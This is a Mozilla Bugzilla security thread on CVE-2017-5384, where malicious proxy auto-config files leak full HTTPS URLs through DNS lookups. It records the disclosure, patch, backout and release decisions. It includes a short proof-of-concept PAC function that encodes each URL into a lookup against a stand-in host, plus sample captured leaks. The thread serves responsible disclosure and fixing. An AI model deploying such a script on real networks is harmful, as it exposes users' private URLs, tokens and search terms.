Closed Bug 1255474 (CVE-2017-5384) Opened 8 years ago Closed 8 years ago

Proxy Auto-Config SSL/TLS Url Disclosure

Categories

(Core :: Networking, defect)

defect
Not set
normal

Tracking

()

RESOLVED FIXED
mozilla52
Tracking Status
firefox49 --- wontfix
firefox-esr45 --- affected
firefox50 --- wontfix
firefox51 --- fixed
firefox52 --- fixed

People

(Reporter: bugzilla, Assigned: bagder)

References

Details

(Keywords: dev-doc-complete, sec-moderate, Whiteboard: [necko-active][adv-main51+])

Attachments

(1 file, 3 obsolete files)

Description:        Proxy Auto-Config SSL/TLS Url Disclosure
Versions Affected:  All
Category:           Information Disclosure
Reporter:           Alex Chapman and Paul Stone of Context Information Security 

Summary:
--------
Malicious Proxy Auto-Config (PAC) files allow for the disclosure of SSL/TLS encrypted HTTPS request URLs (including full paths and query strings) from Firefox. The PAC file specifies a Javascript function, FindProxyForURL(url, host), which is called for each URL request in order to determine the required proxy for the connection. This function receives the full URL and hostname for both HTTP and HTTPS requests, which can be leaked by a malicious PAC script. This could expose credentials, tokens, search terms or any other data passed in HTTPS URL query strings to internet based attackers that would otherwise be encrypted. This issue does not affect the default configuration of Firefox.

Analysis:
---------
The PAC file is executed in a limited, sandboxed Javascript environment, but some functions are still available (see http://findproxyforurl.com/pac-functions/), most notably dnsResolve. This allows for the full request URL from affected clients to be leaked to an attacker's DNS server or local network hosts via LLMNR.

Since PAC files must be specified manually (either in Firefox or in the system proxy settings), this issue would require a network-based attacker to be able to intercept network traffic of a client configured with a PAC file. For example, this could be performed by a malicious gateway.

All software that implements the PAC specification as written is affected by this issue. We have has confirmed this issue in a number of browsers and operating systems. Notably however, Internet Explorer does not leak full URLs, instead passing only the protocol and hostname to the 'url' parameter of FindProxyForURL (e.g. https://www.example.com/, not https://www.example.com/index.html?foo=bar). Therefore a possible fix for this issues is to follow this same behaviour.

Proof of Concept:
-----------------
A PAC script can be crafted, as below, which will perform a DNS lookup based on the host and url parameters passed into the function:

  function FindProxyForURL(url, host){{
    if (dnsResolve((url+'.example.com').replace(/[^a-z0-9_-]+/gi,'.')))
      return "DIRECT";
    return "DIRECT";
  }}

This will perform DNS lookups with the encoded URLs against the example.com DNS server.

See the following example DNS captures from HTTPS requests:

  https.incoming.telemetry.mozilla.org.submit.telemetry.0b2fe929-bff9-4421-9a77-9247930853db.main.Firefox.44.0.2.release.20160210153822.v.4.example.com.
  https.www.google.com.complete.search.client.firefox.q.secre.example.com.
  https.www.google.com.complete.search.client.firefox.q.secret.example.com.
Patrick, do you think you can find someone to investigate this further?
Flags: needinfo?(mcmanus)
the pac file is a script - we support fetching it either via file or https which is what you need to do to trust the transport of any script. It generally boils down to that.

the difference in the url parameter vs ie is interesting, but I would still be concerned about compat in making that change. I've seen pac files in bug reports that inspect the full path.

blocking dnsResolve isn't much an answer either. it has compat issues of course, but you can encode the same information in the proxy name returned and used by the script if you like.
Flags: needinfo?(mcmanus)
Group: core-security → network-core-security
Whiteboard: [necko-backlog]
Triage group decided on sec-moderate rating. The trust model for PAC files isn't known here. If anyone is able to shed more light or provide nuance for this bug, feel free to do so and adjust rating as appropriate.
Keywords: sec-moderate
Over in the equivalent Chrome bug, there's some discussion about using the full URL or truncated URL depending on how a PAC file has been delivered (i.e. local file vs. WPAD vs. HTTPS). They've added some telemetry to Chrome Canary to gather some stats on actual PAC usage. The URL for that bug is https://bugs.chromium.org/p/chromium/issues/detail?id=593759 if anyone has access to it. The issue is worse in Chrome, since Windows users are vulnerable by default.

We've submitted a talk to Black Hat USA that features the PAC vulnerability. Fortunately Firefox users aren't vulnerable to this by default, but it would be good to get this fixed by then if possible.
Apple have now fixed this in OS X 10.11.5 / iOS 9.3.2 (CVE-2016-1801). Chrome has a patch ready to land. For Chrome they decided to simply strip the path and query string for all HTTPS URLs sent to PAC scritps by default, with a flag to revert to the old behaviour.
we can likely follow the chrome behavior. do you have a link to the bug or the name of someone to coordinate with over there?
Eric Roman wrote the patch, it's in https://bugs.chromium.org/p/chromium/issues/detail?id=593759
I'm going to ask daniel to followup on this. I've got permissions problems with comment 7 but daniel I'm sure I can find someone in chrome to help with that if you can't..

to be clear, from a compat pov we would want to coordinate or follow chrome in the change.
Flags: needinfo?(daniel)
That commit pretty much says all we need...
Assignee: nobody → daniel
Flags: needinfo?(daniel)
My thinking is to just cut off the path from the URI that gets passed to the javascript as shown here. It is basically what Chrome does.

Should we offer a prefs to switch back the old behavior for the edge cases where someone actually needs this? I suppose that is the safe approach and Chrome has such a toggle.
Attachment #8757825 - Flags: feedback?(mcmanus)
I've verified in manual tests that the previous patch cuts off the paths in ordinary web navigations when using a PAC proxy.

If that approach is doable, then we could make it conditional on a pref like this patch (this is a follow-up separate patch meant to be applied after the one I already posted). The pref is named "network.proxy.autoconfig_url.include_path" so if anyone reading this feels strongly about pref naming, here's your chance =)
Whiteboard: [necko-backlog] → [necko-active]
Attachment #8757825 - Attachment is obsolete: true
Attachment #8757825 - Flags: feedback?(mcmanus)
I think this fix is fine. but:

1] there's certainly a chance it breaks test coverage. You're going to have to run it through try and given the balance of what's at risk here I think that's ok. just merge it into another known good wip patchset of yours to avoid flagging it.

2] it needs a test which I think can be done without actually proxying any real transactions.

3] do not release this until chrome releases it. schedule checkin accordingly.
Chrome has merged their fix into the version 52 branch which will be released to stable near the end of July.
My patch caused problems on try: https://treeherder.mozilla.org/#/jobs?repo=try&revision=90e6ef68fe95f05fde6ad71aa1f93476597f2664&selectedJob=21938341

The test case in question that fails there doesn't work on my local machine even without this patch so I'm struggling a bit to understand what's going on.
Updated version that gets the pref variable in a way that doesn't cause an assert and now the try-run looks better: https://treeherder.mozilla.org/#/jobs?repo=try&revision=5a783991ae23&selectedJob=22938456
Attachment #8758204 - Attachment is obsolete: true
Attachment #8765438 - Flags: review+
I could use a little help on the process of landing this properly. Not done many security fixes.
Comment on attachment 8765438 [details] [diff] [review]
v2-0001-bug-1244474-cut-off-path-from-URLs-passed-to-PAC-.patch

[Security approval request comment]
How easily could an exploit be constructed based on the patch?

While the patch shows the problem clearly, getting a rouge PAC file into a victim's browser is not easily done but requires a particular situation. Although for someone in that position, reading this patch will make it clear how the flaw can be exploited.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

No.

Which older supported branches are affected by this flaw?

All branches since the dawn of time.

If not all supported branches, which bug introduced the flaw?

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

I would assume they will be identical or at least very similar (pref changes tend to need to be given a touch).

How likely is this patch to cause regressions; how much testing does it need?

It is likely to cause some regressions somewhere due to the nature: it cuts off information that is given to javascript functions, although the pref is there to allow users to switch it on in case they really need to.

The patch itself gets tested just by using proxy set with PAC which is not terribly uncommon. It is also tested by the test suite.
Attachment #8765438 - Flags: sec-approval?
Comment on attachment 8765438 [details] [diff] [review]
v2-0001-bug-1244474-cut-off-path-from-URLs-passed-to-PAC-.patch

This is a sec-moderate rated bug. As such, it doesn't need sec-approval. That applies to sec-critical and sec-high bugs that affect more than just trunk. 

https://wiki.mozilla.org/Security/Bug_Approval_Process
Attachment #8765438 - Flags: sec-approval?
Keywords: checkin-needed
daniel - can you confirm you double checked with chrome having shipped this? web compat concerns.
Flags: needinfo?(daniel)
I'll reach out and double-check.
(In reply to Daniel Stenberg [:bagder] from comment #23)
> I'll reach out and double-check.

I know you're headed for PTO - so back it out if you need to before you go. thanks.
And grrr, my patch used an incorrect bug number!
Ryan Sleevi helped me verify that the chrome change mentioned in comment 9 and comment 7 is targeted for inclusion in chrome 52: https://twitter.com/sleevi_/status/748963983319658497
Flags: needinfo?(daniel)
This has now been patched in Chrome 52 - http://googlechromereleases.blogspot.co.uk/2016/07/stable-channel-update.html
So this is fine, from a product/compat point of view, to land. Dan or Al can make the call from a security-bug pov.
I think we need to land this.. bagder this is the process
https://wiki.mozilla.org/Security/Bug_Approval_Process

This bug should probably also be opened given that the issue is public now. dan?
Flags: needinfo?(dveditz)
Merged in mozilla-central here: http://hg.mozilla.org/mozilla-central/log?rev=303393%3Adf6b25262c65

I suggest we lift the security flag on this now. It has been merged. The bug is public knowledge now.
Status: UNCONFIRMED → RESOLVED
Closed: 8 years ago
Resolution: --- → FIXED
Group: network-core-security → core-security-release
I'm not too familiar with the build/release process but http://hg.mozilla.org/mozilla-central/rev/df6b25262c65 says that the patch was backed out. And looking at the PAC code in the tip of mozilla-central, it seems that the patch isn't there - http://hg.mozilla.org/mozilla-central/file/tip/netwerk/base/ProxyAutoConfig.cpp
Yeah, clearly - I didn't spot that. Reopening this again then. "for timeouts in automation.py" the backout says but I don't even know what that means. Anyone knows if/why I can get some logs from those failures ? I didn't spot any such in the try-build before the landing...
Status: RESOLVED → REOPENED
Ever confirmed: true
Resolution: FIXED → ---
daniel - https://bugzilla.mozilla.org/show_bug.cgi?id=1244474#c21 seems to have the link to the try failure. can we get this remerged?
Flags: needinfo?(daniel)
Ah right, the wrong bug number in the commit message... yeah, I'll get this in shape for another landing.
Okay, here's an updated version of this patch. It took me a while to figure out why it caused so much breakage and in the end it was almost too obvious: the previous version of the patch cut off *the entire path* which left PAC scripts that check for the path part by scanning for a slash to fail. And in our own test suite, we have a lot of such PAC scripts apparently!

This updated version makes sure to leave the first path byte, the slash, in the trimmed URL that is passed to the PAC script. (If it detects a path at all)

Due to me also rearranging things slightly, I figured I'd ask for a refreshed review too before landing. It is still a very small and simple patch. The try run for this incarnation can be seen here: https://treeherder.mozilla.org/#/jobs?repo=try&revision=853e2c1ce6cfec1fe2d9b7c092a32610028244f4&selectedJob=27661859
Attachment #8765438 - Attachment is obsolete: true
Flags: needinfo?(daniel)
Attachment #8792768 - Flags: review?(mcmanus)
Comment on attachment 8792768 [details] [diff] [review]
v3-0001-Bug-1255474-cut-off-path-from-URLs-passed-to-PAC-.patch

Review of attachment 8792768 [details] [diff] [review]:
-----------------------------------------------------------------

thanks
Attachment #8792768 - Flags: review?(mcmanus) → review+
Keywords: checkin-needed
https://hg.mozilla.org/mozilla-central/rev/fd291895b378
Status: REOPENED → RESOLVED
Closed: 8 years ago8 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla52
Hi :bagder,
Is this worth uplifting to 50 beta or 51 aurora?
Flags: needinfo?(daniel)
Good question. I sort of hoped that :dveditz or :abillings would weigh in on that. I would presume that this patch would be fairly easy to uplift.
Flags: needinfo?(daniel)
Hi :dveditz,
Do you think this fix worth uplifting to 50 beta or 51 aurora?
Flags: needinfo?(dveditz)
It's too late to uplift this to Beta--this close to building the RC we need to be pretty conservative. Uplifting to aurora at this point seems like a good idea.
Group: core-security-release
Flags: needinfo?(dveditz)
Mark 50 fixed as it's closed to RC.

Hi :bagder,
Can you help create uplift request for 51 aurora?
Flags: needinfo?(daniel)
Comment on attachment 8792768 [details] [diff] [review]
v3-0001-Bug-1255474-cut-off-path-from-URLs-passed-to-PAC-.patch

Approval Request Comment
[Feature/regressing bug #]: 1255474
[User impact if declined]: This is a 'sec-moderate' issue, if declined the issue will remain unfixed longer.
[Describe test coverage new/current, TreeHerder]: There's no additional test for this change. There's a new pref to disable the new behavior.
[Risks and why]: I can't see any particular risk.
[String/UUID change made/needed]:
Flags: needinfo?(daniel)
Attachment #8792768 - Flags: approval-mozilla-aurora?
Comment on attachment 8792768 [details] [diff] [review]
v3-0001-Bug-1255474-cut-off-path-from-URLs-passed-to-PAC-.patch

Fix a sec-moderate. Take it in 51 aurora.
Attachment #8792768 - Flags: approval-mozilla-aurora? → approval-mozilla-aurora+
Depends on: 1315683
Documentation needs to reflect this change because it may affect proxy configuration used by IT admins in enterprise.
Keywords: dev-doc-needed
Whiteboard: [necko-active] → [necko-active][adv-main51+]
Alias: CVE-2017-5384
Depends on: 1336069
I just updated to 51.0.1 on Windows.  I've set network.proxy.autoconfig_url.include_path to true.  Even after restarting, FindProxyForUrl is still only being passed the truncated URL.

(this change broke no-ads (schooner.com/~loverso/no-ads/), which wouldn't be a problem if the new parameter was working)
> (this change broke no-ads (schooner.com/~loverso/no-ads/), which wouldn't be
> a problem if the new parameter was working)

www.schooner.com/~loverso/no-ads
I see my problem was reported and is fixed 52 beta.
https://bugzilla.mozilla.org/show_bug.cgi?id=1336069
You need to log in before you can comment on or make changes to this bug.